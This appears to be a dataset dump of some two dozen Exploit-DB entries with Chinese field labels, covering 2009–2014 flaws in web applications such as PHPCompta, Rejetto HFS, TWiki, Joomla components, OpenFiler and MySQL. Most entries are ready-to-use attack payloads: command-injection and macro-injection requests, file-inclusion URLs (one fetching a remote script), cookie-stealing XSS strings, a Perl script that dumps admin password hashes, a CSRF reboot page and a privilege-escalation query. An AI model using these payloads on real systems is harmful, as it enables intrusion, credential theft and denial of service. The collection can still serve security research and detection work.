QLWD/code_shield huggingface dataset:
标题: PHPCompta/NOALYSS 6.7.1 5638 - Remote Command Execution EDB-ID: 34861 CVE: 2014-6389 类型: WEBAPPS 平台: PHP 发布日期: 2014-10-02 漏洞利用脚本: Vulnerability title: Remote Command Execution in PHPCompta/NOALYSS
CVE: CVE-2014-6389
Vendor: PHPCompta
Product: PHPCompta/NOALYSS
Affected version: 6.7.1 5638
Fixed version: 6.7.2
Reported by: Jerzy Kramarz

Details:

PhpCompta 6.7.1-2 does not validate the syntax of the commands when processing backup requests from users. It is possible to abuse the 'd' parameter to inject additional parameters that will then be passed via the php passthru() function to create a backup file, which will subsequently be executed. The proof of concept below will create a file 'exploit.php' in the root directory of the application, which will execute phpinfo() function when called.

GET /phpcompta/backup.php?sa=b&t=m&d=123;%20echo%20%22%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%22%20>%20exploit.php HTTP/1.1
Host: 192.168.56.101
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=3nckv75pburv54tm2iq79dfgl6
Connection: keep-alive

Further details at:

https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-6389/

Copyright:
Copyright (c) Portcullis Computer Security Limited 2014, All rights reserved worldwide. Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited.

Disclaimer:
The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. In no event shall the author/distributor (Portcullis Computer Security Limited) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information. URL: https://www.exploit-db.com/exploits/34861
标题: Rejetto HTTP File Server (HFS) 2.3a/2.3b/2.3c - Remote Command Execution EDB-ID: 34852 CVE: 2014-7226 类型: WEBAPPS 平台: WINDOWS 发布日期: 2014-10-02 漏洞利用脚本: ==========================================================
HTTP File Server 2.3a - 2.3b - 2.3c Remote Command Execution

# Author : Daniele Linguaglossa
# Date: 30/09/2014
# Remote: Yes
# Vendor Homepage: http://rejetto.com/
# Software Link: http://downloads.sourceforge.net/hfs/hfs2.3c.src.zip
# CVE: CVE-2014-7226
# Vendor Hompage: http://www.rejetto.com
# Tested on: Windows 8
# Version: 2.3a - 2.3b - 2.3c

The latest HTTP File Server (2.3c and maybe prior too) was found to be
vulnerable to a remote command execution in the file comment features ,
because the application did not properly validate uft-8 broken byte
representation, in fact during parsing program won't notice that there are
multiple invalid representation and when they are printed into the page
will get replaced with one of these characters " { . | } "  causing a macro
to be executed.
==========================================================
PoC
==========================================================
bug-utf8.txt
==========================================================
POST /upload/?mode=section&id=ajax.comment HTTP/1.1
Connection: Close
Content-Type:application/x-www-form-urlencoded

text=%c1%bb%c0%aeexec%c1%bccmd%c0%ae%c1%bd&files=x
==========================================================

Copy the following on a file called bug-utf8.txt , then open hfs and add a
folder called upload,
it will ask if anyone should have upload permission click yes then with
netcat do the following:

nc localhost 8080 < bug-utf8.txt

if everything was fine you should see a new command prompt being executed
from hfs.

==========================================================
EOF URL: https://www.exploit-db.com/exploits/34852
标题: AdvertisementManager 3.1 - 'req' Local/Remote File Inclusion EDB-ID: 34849 CVE: 2010-1106 类型: WEBAPPS 平台: PHP 发布日期: 2010-01-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/44165/info

AdvertisementManager is prone to local and remote file-include vulnerabilities because the application fails to sufficiently sanitize user-supplied input.

Exploiting these issues may allow a remote attacker to obtain sensitive information or compromise the application and the underlying computer; other attacks are also possible.

AdvertisementManager 3.1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/Advertisement/cgi/index.php?usr=indoushka&passw=indoushka&savelogin=on&admin=Enter&req=../../../../../../../../boot.ini%00

http://www.example.com/Advertisement/cgi/index.php?usr=indoushka&passw=indoushka&savelogin=on&admin=Enter&req=http://www.example.com/c.txt? URL: https://www.exploit-db.com/exploits/34849
标题: httpdx 1.4.5 - dot Character Remote File Disclosure EDB-ID: 34846 CVE: 2009-4531 类型: REMOTE 平台: WINDOWS 发布日期: 2009-10-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/44141/info

The 'httpdx' application is prone to a remote file-disclosure vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to view the source code of files in the context of the server process. This may aid in further attacks.

Versions prior to httpdx 1.4.6b are vulnerable.

The following example URI are available:

http://www.example.com/index.html.
http://www.example.com/test.py.
http://www.example.com/test.php. URL: https://www.exploit-db.com/exploits/34846
标题: TWiki 5.0 - bin/login Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 34843 CVE: 2010-3841 类型: WEBAPPS 平台: PHP 发布日期: 2010-10-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/44103/info
 
TWiki is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
Versions prior to TWiki 5.0.1 are vulnerable. 

GET /twiki/bin/login?origurl=&ANYTHING%27%3E%3Cscript%3Ealert%28Hello%29%3C/script%3E URL: https://www.exploit-db.com/exploits/34843
标题: TWiki 5.0 - '/bin/view?rev' Cross-Site Scripting EDB-ID: 34842 CVE: 2010-3841 类型: WEBAPPS 平台: PHP 发布日期: 2010-10-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/44103/info

TWiki is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Versions prior to TWiki 5.0.1 are vulnerable. 

GET /twiki/bin/view?rev=%27%3E%3Cscript%3Ealert%28Hello%29%3C/script%3E URL: https://www.exploit-db.com/exploits/34842
标题: PHP Photo Vote 1.3F - 'page' Cross-Site Scripting EDB-ID: 34845 CVE: 2009-4857 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/44136/info

PHP Photo Vote is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

PHP Photo Vote 1.3F is vulnerable; other versions may also be affected. 

http://www.example.com/demo/photovote/login.php?page="><script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/34845
标题: PHP Easy Shopping Cart 3.1R - 'subitems.php' Cross-Site Scripting EDB-ID: 34847 CVE: 2009-4856 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-07 漏洞利用脚本: source:  https://www.securityfocus.com/bid/44142/info

PHP Easy Shopping Cart is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

PHP Easy Shopping Cart 3.1R is vulnerable; others versions may also be affected. 

http://example.com/subitems.php?id=[NB]&name=[XSS]

http://example.com/demo/plant/subitems.php?id=16&name="><script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/34847
标题: Joomla! Component Jstore - 'Controller' Local File Inclusion EDB-ID: 34837 CVE: 2010-5286 类型: WEBAPPS 平台: PHP 发布日期: 2010-10-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/44053/info

The 'com_jstore' component for Joomla! is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information or to execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible. 

http://www.example.com/index.php?option=com_jstore&controller=./../../../../../../../../etc/passwd%00 URL: https://www.exploit-db.com/exploits/34837
标题: Oracle Fusion Middleware 10.1.2/10.1.3 - BPEL Console Cross-Site Scripting EDB-ID: 34834 CVE: 2010-3581 类型: WEBAPPS 平台: JSP 发布日期: 2010-10-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/43954/info

Oracle Fusion Middleware is prone to a cross-site scripting vulnerability in BPEL Console.

The vulnerability can be exploited over the 'HTTP' protocol. For an exploit to succeed, the attacker must have 'Valid Session' privileges.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
Oracle BPEL Console 10.1.3.3.0 is vulnerable. 

http://www.example.com:7777/BPELConsole/default/processLog.jsp?processId=*&revisionTag=*&processName=ssssssssssssssssssss"><script>alert()</script>&eventType=all&eventDate=all URL: https://www.exploit-db.com/exploits/34834
标题: OPEN IT OverLook 5 - 'title.php' Cross-Site Scripting EDB-ID: 34826 CVE: 2010-4792 类型: WEBAPPS 平台: PHP 发布日期: 2010-10-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/43872/info

OverLook is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

OverLook 5.0 is vulnerable; prior versions may also be affected. 

<!-- -*-*- ANATOLIA SECURITY (c) 2010 -*-*- $ Title: Proof of Concept Code for OverLook v5 Cross-site Scripting Vuln. $ ADV-ID: 2010-002 $ ADV-URL: http://www.anatoliasecurity.com/adv/as-adv-2010-002.txt $ Technical Details: http://www.anatoliasecurity.com/advisories/overlook-xss * PoC created by Eliteman ~ mail: eliteman [~AT~] anatoliasecurity [~DOT~] com ~ web: elite.anatoliasecurity.com --> <html> <head> <title> OverLook v5.0 Cross-site Scripting </title> </head> <body> <form action="http://target/overlook/title.php" method="get"> <input type="hidden" name="frame" value=""><script>alert(/1337/)</script><--"> </form> <script type="text/javascript"> document.forms[0].submit(); </script> </body> </html> URL: https://www.exploit-db.com/exploits/34826
标题: Tausch Ticket Script 3 - 'vote.php?descr' SQL Injection EDB-ID: 34810 CVE: 2009-2428 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/43710/info
 
Tausch Ticket Script is prone to multiple SQL-injection vulnerabilities because it fails to properly sanitize user-supplied input.
 
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
Tausch Ticket Script 3 is vulnerable; other versions may also be affected.

http://www.example.com/vote.php?descr=[SQL] URL: https://www.exploit-db.com/exploits/34810
标题: Joomla! Component Club Manager - 'cm_id' SQL Injection EDB-ID: 34820 CVE: 2010-4864 类型: WEBAPPS 平台: PHP 发布日期: 2010-10-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/43821/info

The Club Manager component for Joomla is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

#!/usr/bin/perl -w

########################################
#[~] Author : Fl0riX
#[!] Script Name: Joomla com_clubmanager
########################################
print "\t\t                                                              \n\n";
print "\t\t        Fl0rix | Bug Researchers                              \n\n";
print "\t\t                                                              \n\n";
print "\t\t Joomla com_clubmanager Remote SQL Injection Exploit   \n\n";
use LWP::UserAgent;
print "\nSite ismi Target page:[http://wwww.site.com/path/]: ";
chomp(my $target=<STDIN>);
$florix="concat(username,0x3a,password)";
$sakkure="jos_users";
$com="com_clubmanager";
$cw="+UNION+SELECT+";
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$host = $target . "/index.php?option=".$com."&tabla=equip&task=presenta&cm_id=284".$cw."1,".$florix.",3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24+from/**/".$sakkure."+--+";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-fA-F]{32})/){
print "\n[+] Admin Hash : $1\n\n";
print "# Baba Buyuksun bea Bu is bu kadar xD #\n\n";
}
else{print "\n[-] Malesef Olmadi Aga bir dahaki sefere\n";
} URL: https://www.exploit-db.com/exploits/34820
标题: Linea21 1.2.1 - 'search' Cross-Site Scripting EDB-ID: 34811 CVE: 2009-2442 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/43711/info

Linea21 is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Linea21 1.2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/public/index.php?search="&#039;><script>alert(&#039;xss&#039;)</script>&rub=resultats-recherche&valid.x=4&valid.y=6&valid=valider URL: https://www.exploit-db.com/exploits/34811
标题: OpenFiler 2.99.1 - Cross-Site Request Forgery EDB-ID: 34818 CVE: 2014-7190 类型: WEBAPPS 平台: PHP 发布日期: 2014-09-29 漏洞利用脚本: <!--
# Exploit Title: DoS via CSRF in openfiler
# Exploit author: Dolev Farhi @dolevff
# Date 07/05/2014
# Vendor homepage: http://www.openfiler.com
# Affected Software version: 2.99.1
# Alerted vendor: 7.5.14
# CVE: N/A
 
 
Software Description
=====================
Openfiler is a network storage operating system. With the features we built into Openfiler, you can take advantage of file-based Network Attached Storage and block-based
Storage Area Networking functionality in a single cohesive framework.
 
 
 
Vulnerability Description
=========================
it is possible to shutdown/reboot a server running openfiler and cause denial of service via CSRF due to missing session tokens.
 
 
Steps to reproduce / PoC:
=========================
-->
<html>
<div align="center">
<pre>

<h2><b>DoS <b></h2>
<body>
<form
action="https://ip.add.re.ss:446/admin/system_shutdown.html"
method="POST">
<input type="hidden" name="shutdowntype" value="reboot" />
<input type="hidden" name="delay" value="0" />
<input type="hidden" name="action" value="Shutdown" />
<input type="submit" name="submit" value="Attack" />
    </form>
    </body>
</div>
</html> URL: https://www.exploit-db.com/exploits/34818
标题: Online Guestbook Pro 5.1 - 'ogp_show.php' Cross-Site Scripting EDB-ID: 34803 CVE: 2009-2441 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/43689/info

Online Guestbook Pro is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Online Guestbook Pro 5.1 is vulnerable; other versions may also be affected.

http://www.example.com/patch/ogp_show.php?display=[nm]&sort=&entry=[XSS]&search=&search_choice== URL: https://www.exploit-db.com/exploits/34803
标题: Tausch Ticket Script 3 - 'suchauftraege_user.php?userid' SQL Injection EDB-ID: 34809 CVE: 2009-2428 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/43710/info

Tausch Ticket Script is prone to multiple SQL-injection vulnerabilities because it fails to properly sanitize user-supplied input.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Tausch Ticket Script 3 is vulnerable; other versions may also be affected.

http://www.example.com/suchauftraege_user.php?userid=[SQL] URL: https://www.exploit-db.com/exploits/34809
标题: JNM Guestbook 3.0 - 'index.php' Cross-Site Scripting EDB-ID: 34806 CVE: 2009-2440 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/43697/info

JNM Guestbook is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

JNM Guestbook 3.0 is vulnerable; other versions may also be affected. 

 http://www.example.com/scripts/guestbook/test2/?page=1%3E%27%3E%3CScRiPt%20%0A%0D%3Ealert(309018679930)%3B%3C/ScRiPt%3E&order=asc URL: https://www.exploit-db.com/exploits/34806
标题: Surgemail SurgeWeb 4.3e - Cross-Site Scripting EDB-ID: 34797 CVE: 2010-3201 类型: WEBAPPS 平台: PHP 发布日期: 2010-10-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/43679/info

SurgeMail is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

The issue affects version 4.3e; other versions may also be affected.

http://www.example.com/surgeweb?username_ex="/><scri<script>alert(document.cookie);</script><input type="hidden URL: https://www.exploit-db.com/exploits/34797
标题: Oracle MySQL < 5.1.50 - Privilege Escalation EDB-ID: 34796 CVE: 2009-5026 类型: REMOTE 平台: MULTIPLE 发布日期: 2010-08-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/43677/info

MySQL is prone to a remote privilege-escalation vulnerability.

An attacker can exploit this issue to run arbitrary SQL statements with 'SUPER' privileges on the slave database system. This will allow the attacker to compromise the affected database system.

This issue affects versions prior to MySQL 5.1.50. 

UPDATE db1.tbl1 /*!514900 ,mysql.user */
SET db1.tbl1.col1=2 /*!514900 ,mysql.user.Super_priv='Y'
WHERE mysql.user.User='user1'*/; URL: https://www.exploit-db.com/exploits/34796
标题: Rentventory - 'index.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 34804 CVE: 2009-2437 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/43692/info

Rentventory is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied data.

Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials; other attacks are also possible.

Rentventory 1.0.1 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?Login=<script>alert(&#039;xss&#039;)</script>
http://www.example.com/index.php?Password=<script>alert(&#039;xss&#039;)</script> URL: https://www.exploit-db.com/exploits/34804
标题: Top Paidmailer - 'home.php' Remote File Inclusion EDB-ID: 34793 CVE: 2009-4750 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/43626/info

Top Paidmailer is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information or to execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible. 

http://www.example.com/patch/home.php?page=[rfi] URL: https://www.exploit-db.com/exploits/34793
标题: Swinger Club Portal - 'start.php?id' SQL Injection EDB-ID: 34791 CVE: 2009-4751 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/43622/info

Swinger Club Portal is prone to an SQL-injection vulnerability and a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit these vulnerabilities to access or modify data, exploit latent vulnerabilities in the underlying database, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.

http://www.example.com/anzeiger/start.php?go=rubrik&id=[SQL] URL: https://www.exploit-db.com/exploits/34791
标题: Swinger Club Portal - 'start.php?go' Remote File Inclusion EDB-ID: 34792 CVE: 2009-4752 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/43622/info
 
Swinger Club Portal is prone to an SQL-injection vulnerability and a remote file-include vulnerability because it fails to properly sanitize user-supplied input.
 
An attacker can exploit these vulnerabilities to access or modify data, exploit latent vulnerabilities in the underlying database, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
 
http://www.example.com/anzeiger/start.php?go=[RFI] URL: https://www.exploit-db.com/exploits/34792
标题: PHPMyFAQ 2.6.x - 'index.php' Cross-Site Scripting EDB-ID: 34785 CVE: 2010-4821 类型: WEBAPPS 平台: PHP 发布日期: 2010-09-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/43560/info

phpMyFAQ is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Versions prior to phpMyFAQ 2.6.9 are vulnerable.

http://www.example.com/index.php/"><script>alert("XSS")</script> URL: https://www.exploit-db.com/exploits/34785